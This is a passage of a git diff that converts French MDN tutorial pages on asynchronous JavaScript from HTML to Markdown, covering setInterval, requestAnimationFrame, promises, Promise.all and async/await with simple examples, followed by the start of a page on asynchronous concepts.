[`setTimeout()`](</fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#settimeout()>) +- Page de référence pour [`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) -<h2 id="setInterval">setInterval()</h2> +## setInterval() -<p><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval"><code>setInterval()</code></a> est une méthode qui permet d'exécuter une fonction de façon répétée avec des intervalles de temps donnés entre chaque exécution. Cette méthode n'est pas aussi efficace que <a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</code></a>, mais elle permet de choisir le rythme d'exécution.</p> +[`setInterval()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) est une méthode qui permet d'exécuter une fonction de façon répétée avec des intervalles de temps donnés entre chaque exécution. Cette méthode n'est pas aussi efficace que [`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame), mais elle permet de choisir le rythme d'exécution. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Oui</td> - <td>Non (à moins qu'elles ne soient les mêmes)</td> - <td>Non</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------- | ------------------------------------------ | -------------------------------- | +| Non | Oui | Non (à moins qu'elles ne soient les mêmes) | Non | -<h3 id="code_example_3">Exemple de code</h3> +### Exemple de code -<p>La fonction suivante crée un nouvel objet <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date()</code></a>, en extrait une chaîne de temps à l'aide de <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString"><code>toLocaleTimeString()</code></a>, puis l'affiche dans l'interface utilisateur. Nous l'exécutons ensuite une fois par seconde à l'aide de <code>setInterval()</code>, créant l'effet d'une horloge numérique qui se met à jour une fois par seconde (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">voir cela en direct</a>, et aussi <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">voir la source</a>) :</p> +La fonction suivante crée un nouvel objet [`Date()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), en extrait une chaîne de temps à l'aide de [`toLocaleTimeString()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString), puis l'affiche dans l'interface utilisateur. Nous l'exécutons ensuite une fois par seconde à l'aide de `setInterval()`, créant l'effet d'une horloge numérique qui se met à jour une fois par seconde ([voir cela en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html), et aussi [voir la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html)) : -<pre class="brush: js">function displayTime() { +```js +function displayTime() { let date = new Date(); let time = date.toLocaleTimeString(); document.getElementById('demo').textContent = time; } -const createClock = setInterval(displayTime, 1000);</pre> +const createClock = setInterval(displayTime, 1000); +``` -<h3 id="pitfalls_3">Pièges</h3> +### Pièges -<ul> - <li>La fréquence d'exécution et d'affichage n'est pas optimisée pour le système sur lequel l'animation est exécutée, et peut être quelque peu inefficace. À moins que vous n'ayez besoin de choisir un framerate spécifique (plus lent), il est généralement préférable d'utiliser <code>requestAnimationFrame()</code>.</li> -</ul> +- La fréquence d'exécution et d'affichage n'est pas optimisée pour le système sur lequel l'animation est exécutée, et peut être quelque peu inefficace. À moins que vous n'ayez besoin de choisir un framerate spécifique (plus lent), il est généralement préférable d'utiliser `requestAnimationFrame()`. -<h3 id="browser_compatibility_3">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}</p> +{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}} -<h3 id="further_information_3">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a>, en particulier <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></li> - <li>Page de référence pour <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></li> -</ul> +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals), en particulier [setInterval()](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) +- Page de référence pour [setInterval()](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) -<h2 id="requestAnimationFrame">requestAnimationFrame()</h2> +## requestAnimationFrame() -<p><a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</code></a> est une méthode qui vous permet d'exécuter une fonction de manière répétée, et efficace, à la meilleure fréquence de rafraîchissement disponible compte tenu du navigateur/système actuel. Vous devriez, dans la mesure du possible, utiliser cette méthode au lieu de <code>setInterval()</code>/<code>setTimeout()</code> récursif, sauf si vous avez besoin d'une fréquence de rafraîchissement spécifique.</p> +[`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame) est une méthode qui vous permet d'exécuter une fonction de manière répétée, et efficace, à la meilleure fréquence de rafraîchissement disponible compte tenu du navigateur/système actuel. Vous devriez, dans la mesure du possible, utiliser cette méthode au lieu de `setInterval()`/`setTimeout()` récursif, sauf si vous avez besoin d'une fréquence de rafraîchissement spécifique. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Oui</td> - <td>Non (à moins que ce soit les mêmes)</td> - <td>Non</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------- | ----------------------------------- | -------------------------------- | +| Non | Oui | Non (à moins que ce soit les mêmes) | Non | -<h3 id="code_example_4">Exemple de code</h3> +### Exemple de code -<p>Une toupie animée simple ; vous pouvez trouver cet <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">exemple en direct sur GitHub</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">code source</a>) :</p> +Une toupie animée simple ; vous pouvez trouver cet [exemple en direct sur GitHub](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html)) : -<pre class="brush: js">const spinner = document.querySelector('div'); +```js +const spinner = document.querySelector('div'); let rotateCount = 0; let startTime = null; let rAF; @@ -263,7 +200,7 @@ function draw(timestamp) { rotateCount = (timestamp - startTime) / 3; - if(rotateCount > 359) { + if(rotateCount > 359) { rotateCount %= 360; } @@ -272,70 +209,54 @@ function draw(timestamp) { rAF = requestAnimationFrame(draw); } -draw();</pre> +draw(); +``` -<h3 id="pitfalls_4">Pièges</h3> +### Pièges -<ul> - <li>Vous ne pouvez pas choisir une fréquence d'images spécifique avec <code>requestAnimationFrame()</code>. Si vous devez exécuter votre animation à un <i>framerate</i> plus lent, vous devrez utiliser <code>setInterval()</code> ou <code>setTimeout()</code> récursif.</li> -</ul> +- Vous ne pouvez pas choisir une fréquence d'images spécifique avec `requestAnimationFrame()`. Si vous devez exécuter votre animation à un _framerate_ plus lent, vous devrez utiliser `setInterval()` ou `setTimeout()` récursif. -<h3 id="browser_compatibility_4">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("api.Window.requestAnimationFrame")}}</p> +{{Compat("api.Window.requestAnimationFrame")}} -<h3 id="further_information_4">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a>, en particulier <a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#requestanimationframe()"><code>requestAnimationFrame()</code></a></li> - <li>Page de référence pour <a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</code></a></li> -</ul> +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals), en particulier [`requestAnimationFrame()`](</fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#requestanimationframe()>) +- Page de référence pour [`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame) -<h2 id="Promises">Promises (Promesses)</h2> +## Promises (Promesses) -<p><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise">Les promesses</a> sont une fonctionnalité JavaScript qui permet d'exécuter des opérations asynchrones et d'attendre qu'elles soient définitivement terminées avant d'exécuter une autre opération en fonction de son résultat. Les promesses sont la colonne vertébrale du JavaScript asynchrone moderne.</p> +[Les promesses](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) sont une fonctionnalité JavaScript qui permet d'exécuter des opérations asynchrones et d'attendre qu'elles soient définitivement terminées avant d'exécuter une autre opération en fonction de son résultat. Les promesses sont la colonne vertébrale du JavaScript asynchrone moderne. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Non</td> - <td>Oui</td> - <td>Voir <code>Promise.all()</code>, en dessous</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------- | ---------------------------------- | -------------------------------- | +| Non | Non | Oui | Voir `Promise.all()`, en dessous | -<h3 id="code_example_5">Exemple de code</h3> +### Exemple de code -<p>Le code suivant va chercher une image sur le serveur et l'affiche à l'intérieur d'un élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a> ; <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch-chained.html">voyez-le aussi en direct</a>, et voyez aussi <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html">le code source</a> :</p> +Le code suivant va chercher une image sur le serveur et l'affiche à l'intérieur d'un élément [`<img>`](/fr/docs/Web/HTML/Element/Img) ; [voyez-le aussi en direct](https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch-chained.html), et voyez aussi [le code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html) : -<pre class="brush: js">fetch('coffee.jpg') -.then(response => response.blob()) -.then(myBlob => { +```js +fetch('coffee.jpg') +.then(response => response.blob()) +.then(myBlob => { let objectURL = URL.createObjectURL(myBlob); let image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); }) -.catch(e => { +.catch(e => { console.log('Il y a eu un problème avec votre opération de récupération : ' + e.message); -});</pre> +}); +``` -<h3 id="pitfalls_5">Pièges</h3> +### Pièges -<p>Les chaînes de promesses peuvent être complexes et difficiles à analyser. Si vous imbriquez un certain nombre de promesses, vous pouvez vous retrouver avec des problèmes similaires à l'enfer des rappels. Par exemple :</p> +Les chaînes de promesses peuvent être complexes et difficiles à analyser. Si vous imbriquez un certain nombre de promesses, vous pouvez vous retrouver avec des problèmes similaires à l'enfer des rappels. Par exemple : -<pre class="brush: js">remotedb.allDocs({ +```js +remotedb.allDocs({ include_docs: true, attachments: true }).then(function (result) { @@ -347,11 +268,13 @@ draw();</pre> if (err.name == 'conflict') { localdb.get(element.doc._id).then(function (resp) { localdb.remove(resp._id, resp._rev).then(function (resp) { -// et cetera...</pre> +// et cetera... +``` -<p>Il est préférable d'utiliser la puissance de chaînage des promesses pour aller avec une structure plus plate et plus facile à analyser :</p> +Il est préférable d'utiliser la puissance de chaînage des promesses pour aller avec une structure plus plate et plus facile à analyser : -<pre class="brush: js">remotedb.allDocs(...).then(function (resultOfAllDocs) { +```js +remotedb.allDocs(...).then(function (resultOfAllDocs) { return localdb.put(...); }).then(function (resultOfPut) { return localdb.get(...); @@ -359,68 +282,54 @@ draw();</pre> return localdb.put(...); }).catch(function (err) { console.log(err); -});</pre> +}); +``` -<p>ou encore :</p> +ou encore : -<pre class="brush: js">remotedb.allDocs(...) -.then(resultOfAllDocs => { +```js +remotedb.allDocs(...) +.then(resultOfAllDocs => { return localdb.put(...); }) -.then(resultOfPut => { +.then(resultOfPut => { return localdb.get(...); }) -.then(resultOfGet => { +.then(resultOfGet => { return localdb.put(...); }) -.catch(err => console.log(err));</pre> +.catch(err => console.log(err)); +``` -<p>Cela couvre une grande partie des éléments de base. Pour un traitement beaucoup plus complet, voir l'excellent article <a href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nous avons un problème avec les promesses</a> <small>(en)</small>, par Nolan Lawson.</p> +Cela couvre une grande partie des éléments de base. Pour un traitement beaucoup plus complet, voir l'excellent article [Nous avons un problème avec les promesses](https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html) (en), par Nolan Lawson. -<h3 id="browser_compatibility_5">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("javascript.builtins.Promise")}}</p> +{{Compat("javascript.builtins.Promise")}} -<h3 id="further_information_5">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Web/JavaScript/Guide/Using_promises">Utiliser les promesses</a></li> - <li>Page de référence pour <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise"><code>Promise</code></a></li> -</ul> +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Utiliser les promesses](/fr/docs/Web/JavaScript/Guide/Using_promises) +- Page de référence pour [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) -<h2 id="Promise.all">Promise.all()</h2> +## Promise.all() -<p>Une fonction JavaScript qui vous permet d'attendre que plusieurs promesses se terminent avant d'exécuter une autre opération basée sur les résultats de toutes les autres promesses.</p> +Une fonction JavaScript qui vous permet d'attendre que plusieurs promesses se terminent avant d'exécuter une autre opération basée sur les résultats de toutes les autres promesses. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Non</td> - <td>Non</td> - <td>Oui</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------- | ---------------------------------- | -------------------------------- | +| Non | Non | Non | Oui | -<h3 id="code_example_6">Exemple de code</h3> +### Exemple de code -<p>L'exemple suivant va chercher plusieurs ressources sur le serveur, et utilise <code>Promise.all()</code> pour attendre qu'elles soient toutes disponibles avant de les afficher toutes — <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html">le voir fonctionner</a>, et voir son <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">code source</a> :</p> +L'exemple suivant va chercher plusieurs ressources sur le serveur, et utilise `Promise.all()` pour attendre qu'elles soient toutes disponibles avant de les afficher toutes — [le voir fonctionner](https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html), et voir son [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html) : -<pre class="brush: js">function fetchAndDecode(url, type) { +```js +function fetchAndDecode(url, type) { // Retourner la promesse de niveau supérieur, de sorte que le résultat // de l'ensemble de la chaîne est retourné hors de la fonction - return fetch(url).then(response => { + return fetch(url).then(response => { // Selon le type de fichier recherché, utilisez la fonction appropriée pour décoder son contenu if(type === 'blob') { return response.blob(); @@ -428,7 +337,7 @@ draw();</pre> return response.text(); } }) - .catch(e => { + .catch(e => { console.log(`Il y a eu un problème avec votre opération de récupération de la ressource "${url}" : ` + e.message); }); } @@ -441,7 +350,7 @@ let description = fetchAndDecode('description.txt', 'text'); // Utiliser Promise.all() pour exécuter le code uniquement lorsque // les trois appels de fonction ont été résolus -Promise.all([coffee, tea, description]).then(values => { +Promise.all([coffee, tea, description]).then(values => { console.log(values); // Stocker chaque valeur retournée par les promesses dans des variables séparées ; // créer des URL d'objets à partir des blobs. @@ -449,7 +358,7 @@ Promise.all([coffee, tea, description]).then(values => { let objectURL2 = URL.createObjectURL(values[1]); let descText = values[2]; - // Afficher les images dans les éléments <img> + // Afficher les images dans les éléments <img> let image1 = document.createElement('img'); let image2 = document.createElement('img'); image1.src = objectURL1; @@ -461,54 +370,36 @@ Promise.all([coffee, tea, description]).then(values => { let para = document.createElement('p'); para.textContent = descText; document.body.appendChild(para); -});</pre> +}); +``` -<h3 id="pitfalls_6">Pièges</h3> +### Pièges -<ul> - <li>Si <code>Promesse.all()</code> est rejeté, alors une ou plusieurs des promesses que vous lui fournissez dans son paramètre de tableau doivent être rejetées, ou pourraient ne pas retourner de promesses du tout. Vous devez vérifier chacune d'entre elles pour voir ce qu'elles ont retourné.</li> -</ul> +- Si `Promesse.all()` est rejeté, alors une ou plusieurs des promesses que vous lui fournissez dans son paramètre de tableau doivent être rejetées, ou pourraient ne pas retourner de promesses du tout. Vous devez vérifier chacune d'entre elles pour voir ce qu'elles ont retourné. -<h3 id="browser_compatibility_6">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("javascript.builtins.Promise.all")}}</p> +{{Compat("javascript.builtins.Promise.all")}} -<h3 id="further_information_6">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises#running_code_in_response_to_multiple_promises_fulfilling">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li>Page de référence pour <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/all"><code>Promise.all()</code></a></li> -</ul> +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises#running_code_in_response_to_multiple_promises_fulfilling) +- Page de référence pour [`Promise.all()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) -<h2 id="Asyncawait">async/await</h2> +## async/await -<p>Un outil syntaxique construit sur les promesses qui vous permet d'exécuter des opérations asynchrones en utilisant une syntaxe qui ressemble plus à l'écriture de code de rappel synchrone.</p> +Un outil syntaxique construit sur les promesses qui vous permet d'exécuter des opérations asynchrones en utilisant une syntaxe qui ressemble plus à l'écriture de code de rappel synchrone. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Non</td> - <td>Oui</td> - <td>Oui (en combinaison avec <code>Promise.all()</code>)</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------- | ---------------------------------- | ----------------------------------------- | +| Non | Non | Oui | Oui (en combinaison avec `Promise.all()`) | -<h3 id="code_example_7">Exemple de code</h3> +### Exemple de code -<p>L'exemple suivant est un remaniement de l'exemple simple de promesse que nous avons vu précédemment, qui récupère et affiche une image, écrit à l'aide d'async/await (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-refactored-fetch.html">voir en direct</a>, et voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-refactored-fetch.html">code source</a>) :</p> +L'exemple suivant est un remaniement de l'exemple simple de promesse que nous avons vu précédemment, qui récupère et affiche une image, écrit à l'aide d'async/await ([voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-refactored-fetch.html), et voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-refactored-fetch.html)) : -<pre class="brush: js">async function myFetch() { +```js +async function myFetch() { let response = await fetch('coffee.jpg'); let myBlob = await response.blob(); @@ -518,36 +409,31 @@ Promise.all([coffee, tea, description]).then(values => { document.body.appendChild(image); } -myFetch();</pre> +myFetch(); +``` -<h3 id="pitfalls_7">Pièges</h3> +### Pièges -<ul> - <li>Vous ne pouvez pas utiliser l'opérateur <code>await</code> à l'intérieur d'une fonction non-<code>async</code>, ou dans le contexte de haut niveau de votre code. Cela peut parfois entraîner la création d'une fonction encapsulante supplémentaire, ce qui peut être légèrement frustrant dans certaines circonstances. Mais cela en vaut la peine la plupart du temps.</li> - <li>Le support des navigateurs pour <code>async</code>/<code>await</code> n'est pas aussi bon que celui des promesses. Si vous souhaitez utiliser <code>async</code>/<code>await</code> mais que vous êtes préoccupé par la prise en charge de navigateurs plus anciens, vous pouvez envisager d'utiliser la bibliothèque <a href="https://babeljs.io/">BabelJS</a> — cela vous permet d'écrire vos applications en utilisant le JavaScript le plus récent et de laisser Babel déterminer les modifications éventuellement nécessaires pour les navigateurs de vos utilisateurs.</li> -</ul> +- Vous ne pouvez pas utiliser l'opérateur `await` à l'intérieur d'une fonction non-`async`, ou dans le contexte de haut niveau de votre code. Cela peut parfois entraîner la création d'une fonction encapsulante supplémentaire, ce qui peut être légèrement frustrant dans certaines circonstances. Mais cela en vaut la peine la plupart du temps. +- Le support des navigateurs pour `async`/`await` n'est pas aussi bon que celui des promesses. Si vous souhaitez utiliser `async`/`await` mais que vous êtes préoccupé par la prise en charge de navigateurs plus anciens, vous pouvez envisager d'utiliser la bibliothèque [BabelJS](https://babeljs.io/) — cela vous permet d'écrire vos applications en utilisant le JavaScript le plus récent et de laisser Babel déterminer les modifications éventuellement nécessaires pour les navigateurs de vos utilisateurs. -<h3 id="browser_compatibility_7">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("javascript.statements.async_function")}}</p> +{{Compat("javascript.statements.async_function")}} -<h3 id="further_information_7">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec <code>async</code> et <code>await</code></a></li> - <li>Page de référence pour <a href="/fr/docs/Web/JavaScript/Reference/Statements/async_function">les fonctions asynchrones</a></li> - <li>Page de référence pour l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Operators/await">await</a></li> -</ul> +- [Faciliter la programmation asynchrone avec `async` et `await`](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- Page de référence pour [les fonctions asynchrones](/fr/docs/Web/JavaScript/Reference/Statements/async_function) +- Page de référence pour l'opérateur [await](/fr/docs/Web/JavaScript/Reference/Operators/await) -<p>{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</p> +{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}} -<h2 id="In_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec <code>async</code> et <code>await</code></a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec `async` et `await`](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/asynchronous/concepts/index.md b/files/fr/learn/javascript/asynchronous/concepts/index.md index ee10969b47..03dc27feaf 100644 --- a/files/fr/learn/javascript/asynchronous/concepts/index.md +++ b/files/fr/learn/javascript/asynchronous/concepts/index.md @@ -10,46 +10,53 @@ tags: - blocking translation_of: Learn/JavaScript/Asynchronous/Concepts --- -<div>{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div> +{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}} -<p>Dans cet article, nous allons passer en revue un certain nombre de concepts importants relatifs à la programmation asynchrone et à la façon dont elle se présente dans les navigateurs web et JavaScript. Vous devriez comprendre ces concepts avant de travailler sur les autres articles du module.</p> +Dans cet article, nous allons passer en revue un certain nombre de concepts importants relatifs à la programmation asynchrone et à la façon dont elle se présente dans les navigateurs web et JavaScript. Vous devriez comprendre ces concepts avant de travailler sur les autres articles du module. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension raisonnable des principes fondamentaux de JavaScript.</td> + <td> + Connaissances informatiques de base, compréhension raisonnable des + principes fondamentaux de JavaScript. + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Comprendre les concepts de base de la programmation asynchrone et la façon dont elles se manifestent dans les navigateurs Web et dans JavaScript.</td> + <td> + Comprendre les concepts de base de la programmation asynchrone et la + façon dont elles se manifestent dans les navigateurs Web et dans + JavaScript. + </td> </tr> </tbody> </table> -<h2 id="asynchronous">Asynchrone ?</h2> +## Asynchrone ? -<p>Normalement, le code d'un programme donné se déroule sans interruption, une seule chose se produisant à la fois. Si une fonction dépend du résultat d'une autre fonction, elle doit attendre que l'autre fonction se termine et retourne sa réponse, et jusqu'à ce que cela se produise, le programme entier est essentiellement bloqué du point de vue de l'utilisateur.</p> +Normalement, le code d'un programme donné se déroule sans interruption, une seule chose se produisant à la fois. Si une fonction dépend du résultat d'une autre fonction, elle doit attendre que l'autre fonction se termine et retourne sa réponse, et jusqu'à ce que cela se produise, le programme entier est essentiellement bloqué du point de vue de l'utilisateur. -<p>Les utilisatrices et utilisateurs de macOS, par exemple, le voient parfois avec le curseur rotatif de couleur arc-en-ciel (ou « ballon de plage », comme on l'appelle souvent). Ce curseur est la façon dont le système d'exploitation dit "le programme que vous utilisez actuellement a dû s'arrêter et attendre que quelque chose se termine, et cela prend tellement de temps que je craignais que vous vous demandiez ce qui se passe".</p> +Les utilisatrices et utilisateurs de macOS, par exemple, le voient parfois avec le curseur rotatif de couleur arc-en-ciel (ou « ballon de plage », comme on l'appelle souvent). Ce curseur est la façon dont le système d'exploitation dit "le programme que vous utilisez actuellement a dû s'arrêter et attendre que quelque chose se termine, et cela prend tellement de temps que je craignais que vous vous demandiez ce qui se passe". -<p><img alt="Spinner multicolore pour macOS avec ballon de plage." src="beachball.jpg"></p> + +C'est une expérience frustrante qui n'est pas une bonne utilisation de la puissance de traitement de l'ordinateur, surtout à une époque où les ordinateurs disposent de plusieurs cœurs de processeur. Il est inutile de rester assis à attendre quelque chose alors que vous pouvez laisser une tâche se dérouler sur un autre cœur de processeur et être averti quand elle a terminé. Cela vous permet d'effectuer d'autres travaux en même temps, ce qui est la base de la **programmation asynchrone**. C'est à l'environnement de programmation que vous utilisez (les navigateurs web, dans le cas du développement web) de vous fournir des API qui vous permettent d'exécuter de telles tâches de manière asynchrone. -<p>C'est une expérience frustrante qui n'est pas une bonne utilisation de la puissance de traitement de l'ordinateur, surtout à une époque où les ordinateurs disposent de plusieurs cœurs de processeur. Il est inutile de rester assis à attendre quelque chose alors que vous pouvez laisser une tâche se dérouler sur un autre cœur de processeur et être averti quand elle a terminé. Cela vous permet d'effectuer d'autres travaux en même temps, ce qui est la base de la <strong>programmation asynchrone</strong>. C'est à l'environnement de programmation que vous utilisez (les navigateurs web, dans le cas du développement web) de vous fournir des API qui vous permettent d'exécuter de telles tâches de manière asynchrone.</p> +## Code bloquant -<h2 id="blocking_code">Code bloquant</h2> +Les techniques asynchrones sont très utiles, notamment dans la programmation web. Lorsqu'une application web s'exécute dans un navigateur et qu'elle exécute un morceau de code considérable sans rendre le contrôle au navigateur, ce dernier peut sembler figé. C'est ce qu'on appelle du code **bloquant** ; le navigateur est incapable de continuer à traiter les entrées de l'utilisateur et d'effectuer d'autres tâches jusqu'à ce que l'application web rende le contrôle du processeur. -<p>Les techniques asynchrones sont très utiles, notamment dans la programmation web. Lorsqu'une application web s'exécute dans un navigateur et qu'elle exécute un morceau de code considérable sans rendre le contrôle au navigateur, ce dernier peut sembler figé. C'est ce 